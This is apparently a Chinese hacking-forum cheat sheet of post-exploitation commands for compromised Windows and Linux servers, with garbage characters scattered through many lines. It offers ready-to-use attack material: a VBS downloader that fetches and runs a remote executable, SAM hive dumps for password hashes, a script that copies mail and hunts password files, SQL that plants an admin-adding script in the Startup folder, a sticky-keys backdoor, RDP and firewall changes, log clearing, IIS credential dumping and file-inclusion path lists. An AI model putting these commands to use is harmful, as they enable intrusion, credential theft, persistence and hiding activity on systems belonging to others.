（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
( T  C1 j) @& s# t
. c( U! ^0 [) E, m( `# t提权先执行systeminfo
' ?% M. e1 c0 l8 F" C  \' \7 q8 ntoken 漏洞补丁号 KB956572
& N+ Z) V  s! }5 O* ]0 @Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
# i( j9 ^2 d2 ~& R: e  `2 I/ Y7 K——————————————
9 W/ h0 {1 U: {# x2、收集系统信息的脚本  
7 @5 I2 g. H+ C- H9 Hfor window：
* c8 v2 d" b& {  c0 w% Y8 B" r
@echo off
echo #########system info collection
2 [! c% a8 h' `  F) Bsysteminfo
ver
hostname
8 h0 Z4 ~1 |5 D' Nnet user
net localgroup
net localgroup administrators
5 }; F0 Z8 u* y; g: Rnet user guest
net user administrator
) i5 J! K4 V4 A3 F1 F1 a7 j2 Y
echo #######at- with   atq#####
0 Y$ L4 f7 c7 d' a4 a' |echo schtask /query
# Q: j. k, K! w7 J
4 V; f7 l% x3 c  R, qecho
echo ####task-list#############
, G; v6 U; j' i  p% Ttasklist /svc
echo
echo ####net-work infomation
ipconfig/all
1 K6 J% i. C5 a  vroute print
arp -a
' I  |2 S% w: X+ G4 `, {& rnetstat -anipconfig /displaydns
echo
echo #######service############
/ `$ _1 c6 ~) \. e( Ksc query type= service state= all
echo #######file-##############
8 @& Q( m' r* ]1 {7 R. p8 A! Acd \
tree -F
for linux：

, ~4 A2 |. M4 z#!/bin/bash

echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
7 x: k$ h1 c) q# Necho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
echo
rpm -qa 2>/dev/null
0 P/ V7 D) @! ]# c######stole the mail......######
0 y; H& B# @6 j7 }5 c4 E3 f5 [cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set
( w$ c; y' x4 K0 x- {: J. c
9 {* ?  {9 f* d  C+ E( V$ {echo #####about network###
+ D' l  e8 c. A3 K####this is then point in pentest,but i am a new bird,so u need to add some in it
% [& t8 _( }, dcat /etc/hosts
hostname
* i/ T$ b" R/ I9 R/ r  u9 c7 f6 Sipconfig -a
5 p/ \4 |3 h7 s9 F" ]& xarp -v
/ d$ B) {8 P$ V( g7 l6 y% Oecho ########user####
% [! i9 k! }0 w) H  B6 rcat /etc/passwd|grep -i sh
( F, d; u: v5 C9 s- R+ y
! O: r, g" K6 g3 Z% _1 C- A) Yecho ######service####
4 ^+ n/ Z5 E. Uchkconfig --list
8 F8 f6 t3 R5 v" l3 e
for i in {oracle,mysql,tomcat,samba,apache,ftp}
% z7 `0 C; c2 ], H7 v* |& rcat /etc/passwd|grep -i $i
( h, e4 |3 F" @6 c, H6 cdone

locate passwd >/tmp/password 2>/dev/null
* h7 Y& L2 Q; v4 X% xsleep 5
6 w/ R, H* n( @4 g, a# ~locate password >>/tmp/password 2>/dev/null
sleep 5
! ]- {" d* _" [6 J0 {locate conf >/tmp/sysconfig 2>dev/null
sleep 5
) K: N7 C1 z5 v/ W" {locate config >>/tmp/sysconfig 2>/dev/null
2 N- b' \$ _$ V5 h- jsleep 5
/ M3 {( W* W' o, w9 I
###maybe can use "tree /"###
echo ##packing up#########
; j3 r3 N  N' l7 B: Btar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
; X7 q% l% c! s! r# [rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
0 N2 u3 N4 F  _" I——————————————
3、ethash 不免杀怎么获取本机hash。
( _, f, s3 m8 t7 Y1 Y8 |首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
- j2 E- v7 ]- O& m5 e/ b注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
& B( ^% C) j: L4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
, [, D; g; j4 L% i7 yecho sGet.Open() >>c:\windows\cftmon.vbs
# v0 t: t- z" i! {: w( `echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
% y4 g% `$ A: A& i  P% Fecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
" Z: ~6 c6 J1 y0 o* ~( _# i1 I& \3 r& a
* ~8 w' m* }6 B8 n7 C$ k2
On Error Resume Nextim iRemote,iLocal,s1,s2
, |0 N  Z2 V/ A/ DiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
3 j: m+ l, ~8 q, k- j; fSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 C% a! p& f9 [. n5 o' o! X
# V* G1 g3 V/ \8 b; Hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
! Q* \8 m( o) m' Q. q9 F5 R——————————————————
. m2 x3 W8 n- f5 q; c5、
1.查询终端端口
/ t, _3 W1 y0 N: ?9 C  S$ v/ TREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
7 X. n& G- c3 U' \$ `% c7 SREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
& \; K" f) @/ p- @3.更改终端端口为2008(0x7d8)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
: F$ Z3 d0 D9 G! S) O0 A3 yREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
) q9 Y) q3 m# S  c) a  @- Y————————————————
6、create table a (cmd text);
6 u4 Z, D+ V, ~! |insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
+ j# w+ G; q' Z2 U& X2 rselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
! Y; E6 k  D! b. D# J+ C. H————————————————————
, p! {) J4 c+ ?; }- r7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
! r" Y* c" k( [5 t( ?  
  for /d %i in (???) do @echo %i
: q' h. R! G8 H6 T0 o9 g& Q
把当前路径下文件夹的名字只有1-3个字母的打出来

. P' m1 D. P/ u- ^% Y# R' h  p2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

1 }1 k, j& y/ @for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
  
& A! H0 L8 v2 B* J0 C  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

$ b0 O- n5 n) ~# \# p- f- x4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
9 }1 C3 Z4 D: M$ n/ j——————————
●注册表:
1.Administrator注册表备份:
6 u( E$ s6 r# z( \reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
! ^) k9 |4 X% E) y修改PortNumber.

( p) S+ W/ d- l4 l6 F9 @3.清除3389登录记录:
9 q/ I( [. C' J0 p; ereg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
( e0 u* f, g3 D  ]" _reg export HKLM\SYSTEM\RAdmin c:\a.reg

% O' s6 c. @/ e% b. H5.禁用TCP/IP端口筛选(需重启):
/ q7 {0 x- B& |; @REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
" e$ ]: g+ W- P1 p* I: a! m' y$ n
. ~1 m; j9 T. |5 z: }# y1 K6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
, `$ r/ @0 U! a2 J或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

' Y! X4 {  U2 B8 g; ^+ A8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

* w# L; L" V7 t$ |9.另类方法抓系统密码HASH
' P. a" i; `# h. B- Xreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
( ^' |& A, J5 o$ r- qreg save hklm\security c:\security.hive
5 _% \3 k  A3 g+ ]
5 ]( u2 P/ l) `6 Q# g  u- t10.shift映像劫持
4 a1 L+ o( g5 ~5 J4 Lreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
& x: |5 ^  `4 z/ t6 M
- ]; v. A0 c; t8 z3 Q/ ]1 @  D' preg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
% j, I0 ^' H7 m1 Z' E4 q3 ochildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
! {# a7 ~" t8 J1 p8 Vif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
% K* `; N* P" b- }exit for
msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
. J7 x- a" ^* |7 H/ Cset IISweb=iis.getobject("IIsWebVirtualDir","Root")
. M  r1 P' |0 E% \user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
4 F8 Y! b: J' N9 _7 O1 `1 r+ t# Glist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
1 n! L4 a. \, L* A- K; WNext
wscript.echo list
Set ObjService=Nothing
  r, ?5 }& ~/ \" r  Cwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
/ q* S8 Q4 c3 E) ^9 X' Q. w----------------------2011新气象，欢迎各位补充、指正、优化。----------------
3 x, j: |) Q- m$ i9 D5 q2 t1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
& q1 s: X& A: E然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
5 ~$ Z8 ^- u- S. R& B. k4 w8 ]; @ 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
. T" ]" i# Y9 t2 c9 t; } 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
- O2 f8 v6 L9 \) e url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
- w7 C, h  g; d2 w5 sLINUX常见路径：
, ~, `) ?: P/ B# f1 H( d9 N! I
4 P$ n' v! d0 ^& e+ F0 n8 W9 Q7 g/etc/passwd
/etc/shadow
/etc/fstab
2 {0 E7 s  t& N/ D- z: A. H2 b/etc/host.conf
/etc/motd
) d# p3 g, m" w% W  U6 z/etc/ld.so.conf
/var/www/htdocs/index.php
* f( t8 p; O* B/var/www/conf/httpd.conf
/var/www/htdocs/index.html
3 T  Y: |2 j% }( h& v4 S5 |/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
2 \" Z5 E' |9 I: ]: L9 [5 y7 l/var/httpd/htdocs/index.html
+ d$ H! d  a' T- H  F& n6 ]- c4 E' c/var/httpd/conf/php.ini
, a8 n  w4 W& V, X/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
5 B0 ^9 D4 O' \/opt/www/htdocs/index.php
! J6 n4 f0 M& T; n! H" U: C( ~/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
: }  C: [( D; D& n* t  O/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
# w: l# t0 N; f# h1 ~( c. B. F/usr/local/apache2/htdocs/index.php
- x+ d8 M& M: v$ t; T/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
6 A" N, h5 R3 l5 C) ?- z; [$ y/etc/httpd/htdocs/index.php
0 F/ G; L2 n0 m- |5 H/etc/httpd/conf/httpd.conf
; {2 K0 D$ m" w4 G/etc/httpd/htdocs/index.html
( t; i. x! t7 f  y+ k2 a/www/php/php.ini
5 q# v" V' ~/ w5 |; k" f, J/www/php4/php.ini
- H. I2 E# N& v. k. b  h+ w/www/php5/php.ini
1 y9 S0 o* B9 T2 ]" }/www/conf/httpd.conf
/www/htdocs/index.php
/www/htdocs/index.html
& w0 _- }; T7 }0 T7 x9 U0 o. o- z/usr/local/httpd/conf/httpd.conf
, u9 R& R" p2 a4 T( a/apache/apache/conf/httpd.conf
* R( L( g6 T* M; i4 S# G/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
/etc/apache2/apache.conf
% ]( j3 i/ h1 ~' |/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
7 n) j3 I+ [+ G4 D/ m# n/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
" {) A, u+ `7 E/ Q/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
! B% P9 W' I  w) h1 u0 g, s( q/etc/httpd/logs/error_log
; w4 i/ n. s' P/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
2 P9 X/ ^% p6 M# u; B& d* j9 W/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
7 ]: Z1 A* `2 ]/ L3 L9 e# v/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
: Q3 U& j; V; E; M5 x/ D- K/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
' E0 N. `) h) w+ F) S/ ~: K8 V5 ?/var/log/apache2/access_log
8 U: D2 F' A. J4 W; V4 W4 f5 e8 `/ {/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
# H. W5 e8 t3 V+ t8 n; v- h8 m/var/log/error_log
, n+ m7 W+ G& ~# W- l4 l/var/log/error.log
' G& a1 D6 @- N1 h7 w5 Y+ P/ U* C/var/log/access_log
/var/log/access.log
7 w* H' r+ l; L! c/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
/etc/init.d/httpd
# _6 G: u8 [; t8 l  |1 _/etc/init.d/mysql
% k0 H$ W) z8 n1 U. z5 e  m7 S/etc/httpd/php.ini
/usr/lib/php.ini
; T& o) u' U( s" w9 D8 T- ?/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
' {- o8 d4 c% u- ^8 b/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
4 Y, ]: e0 X" C+ M/usr/local/php5/lib/php.ini
" K* F' Y9 J# ]+ S0 z/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
9 a% a# M7 ^1 e4 R3 y/usr/local/apache/conf/php.ini
1 X( E" X/ q4 b* W: Z/ r8 ^6 F/usr/local/apache/conf/httpd.conf
) Z5 w. B" }" S( |/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
2 Q( k. a7 Z3 B! {/etc/php5/apache2/php.ini
6 O! u) v! j3 O! {3 P/etc/php/php.ini
  h% z; ]* E+ O1 X. M1 Y5 X/etc/php/php4/php.ini
. L1 _3 [- Q2 P3 x+ |3 s5 |/etc/php/apache/php.ini
4 n# y6 J5 G  [% ^/etc/php/apache2/php.ini
- d0 w8 E6 g5 A- s, u+ k8 w/web/conf/php.ini
0 T' Q! ]4 ]  z% L5 D+ {/usr/local/Zend/etc/php.ini
( ?, h7 o5 `  g7 H  X5 [/opt/xampp/etc/php.ini
1 v( h' ?1 o+ z$ o& V) s/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
) H8 V0 c! g# V! N* t9 M4 d8 b/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
3 U# _2 {6 z- k0 {/ x! m5 z/php5/php.ini
! \" D0 c5 p; N. F& G/php4/php.ini
1 `5 \. P* D7 M; q; J/php/php.ini
/PHP/php.ini
# c7 D4 ~) h- h) H. I. _$ Y/apache/php/php.ini
# f+ v* x3 B- d. m- @' g% P/xampp/apache/bin/php.ini
' r4 U3 @) F- [8 e3 [& e/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
8 J+ U1 }& K  s& g0 A5 z/var/log/mysql/mysql-bin.log
" W' A3 c% V% n1 @- ~/var/log/mysql.log
+ P1 }& ]1 `3 U$ j) Z. ]/var/log/mysqlderror.log
( W, F. k8 K+ {% J& G/var/log/mysql/mysql.log
  J' g* A; I# |/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
+ P( m" r3 B% h3 E/etc/mysql/my.cnf
8 j6 `$ V9 ?, l/etc/my.cnf
/usr/local/cpanel/logs
7 e# o5 t7 Q) n3 T, u% {, _/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
; x, J, S4 J9 s# r1 u/usr/local/cpanel/logs/error_log
4 {+ p" N$ v8 m7 X/usr/local/cpanel/logs/license_log
' F6 F. d4 A7 ?/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
) p4 F" O6 K  c: A/usr/local/share/examples/php4/php.ini
3 W) Q: Z  Z( F9 ~# @3 ~2 _/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
0 h& Q+ P# C# l& Gc:\boot.ini
  Z. R8 U, p, t3 n0 V+ h1 Cc:\1.txt
c:\a.txt
; \9 o8 V; _4 @0 Q% v) S& h
- o$ }: ^4 Q1 I, c- L  F2 yc:\CMailServer\config.ini
1 T0 n7 L5 P! o  `$ `0 A* hc:\CMailServer\CMailServer.exe
3 f( j* {, f: }' _: {2 T) Tc:\CMailServer\WebMail\index.asp
/ W, o0 b/ I0 M/ k7 Dc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
/ ^+ Q- |) y8 z6 k( mC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
* w) p0 }7 I* ZC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe
5 o6 z) Z& O" t* P$ T% R
! h9 v7 `, d9 {) `4 s: N' C- pc:\hzhost\databases\url.asp

4 d  Q1 {) V3 [( @c:\hzhost\hzclient.exe
! G- C# O7 [( V1 E$ ZC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
6 Q7 @* {; D5 L* x, m0 j$ a$ ^
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
8 n, l7 M, z( y7 v; ^; ~c:\web\index.html
c:\www\index.html
( q8 \& Z3 e3 l: Z( qc:\WWWROOT\index.html
: |8 n: [3 r/ f) }c:\website\index.html
) l$ F- u/ D$ |% N3 I2 L2 S% @c:\web\index.asp
1 Z. b7 `/ |( Y6 oc:\www\index.asp
! C' b6 z5 v# c0 M7 r" _c:\wwwsite\index.asp
c:\WWWROOT\index.asp
c:\web\index.php
6 p" \, q3 k- k" ]7 W; y" o0 _# I; Dc:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
c:\WWWROOT\default.html
c:\website\default.html
4 a' J% y5 u; C6 sc:\web\default.asp
# Y' z  P+ f7 |$ \5 Ic:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
; P7 `# D3 Q+ ac:\web\default.php
- s* Y; \+ S) s3 o7 Pc:\www\default.php
, h0 i1 g3 K! T. d& [* ic:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
; R$ r) E6 ]( ]c:\windows\notepad.exe
c:\winnt\notepad.exe
) K/ m2 `) o" BC:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
+ C. ?1 k( V6 Q0 D! UC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
, L+ j) q( m: }( j1 B& k/ HC:\Program Files\360\360Safe\360safe.exe
) l. T( {7 ~+ M% F1 E7 a6 [$ GC:\Program Files\360Safe\360safe.exe
8 j1 s5 K0 S: L" [4 Q* a0 I/ ]C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
9 v8 {( K& y$ z9 E: iC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
! [5 a5 O+ @) Q8 ~C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
2 U5 `4 D! h! u; H0 M! jC:\Documents and Settings\Administrator\My Documents\a.txt
( i" H0 b( F& ]  s. O0 U( YC:\Documents and Settings\Administrator\桌面\a.txt
, Y1 m+ G) B% ?5 C  i- |& {  qC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
# D; G( f& k% tC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
/ q/ o+ ?1 e% z4 M" B3 P; ^C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
5 S1 Y/ u4 p+ S$ hC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
6 U# ?0 a# Y8 M# O# N( _C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, \6 r* C; b  d: kC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
* R, K4 C1 n# L9 a& X4 f& K7 @C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
' m7 W8 K% I7 a$ lC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
; |) w7 O, S, h7 J" ^4 k: VC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
0 A: l/ ?# F  E+ g5 z4 Q' x. u4 {C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
8 f) i/ p4 r+ F/ U9 l. h  B( PC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
; l" v; m! g7 H8 `$ ]c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
7 n/ J* B& M. S0 g; ?C:\WINDOWS\system32\inetsrv\w3wp.exe
# p" q) f) L$ G4 D- m: g% H2 z9 YC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
; t; {2 V1 l4 M& m  q. pC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
0 z! H8 K# ?& rc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
0 U  C1 b$ G+ }( G5 Yc:\program files\tomcat6\bin\version.sh
1 }# N* j% Y. F6 ?, L0 PC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
8 @  s% O9 j" l; F6 J/usr/local/tomcat5527/bin/version.sh
4 ?% Z  d; W* L1 h! }/usr/share/tomcat6/bin/startup.sh
" ?4 J2 T7 h5 V1 L  X' Y+ C/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
% ^9 m$ }2 R( T9 I* l5 I) Y* w# `$ ]c:\Program Files\Tencent\qq\User.db
0 ?# I/ P7 N# B3 [3 ec:\Program Files\Tencent\qq\qq.exe
4 M, f! T' {- Y+ o: sc:\Program Files\Tencent\qq\bin\qq.exe
; X; }2 L+ s" R6 ?2 Z7 }: hc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
/ D2 b! ~8 G! c0 k- Nc:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
' ]5 U- A! d! t+ xc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
8 ]  z% O* ^* D' M( L* kC:\Program Files\Foxmal\accounts.cfg
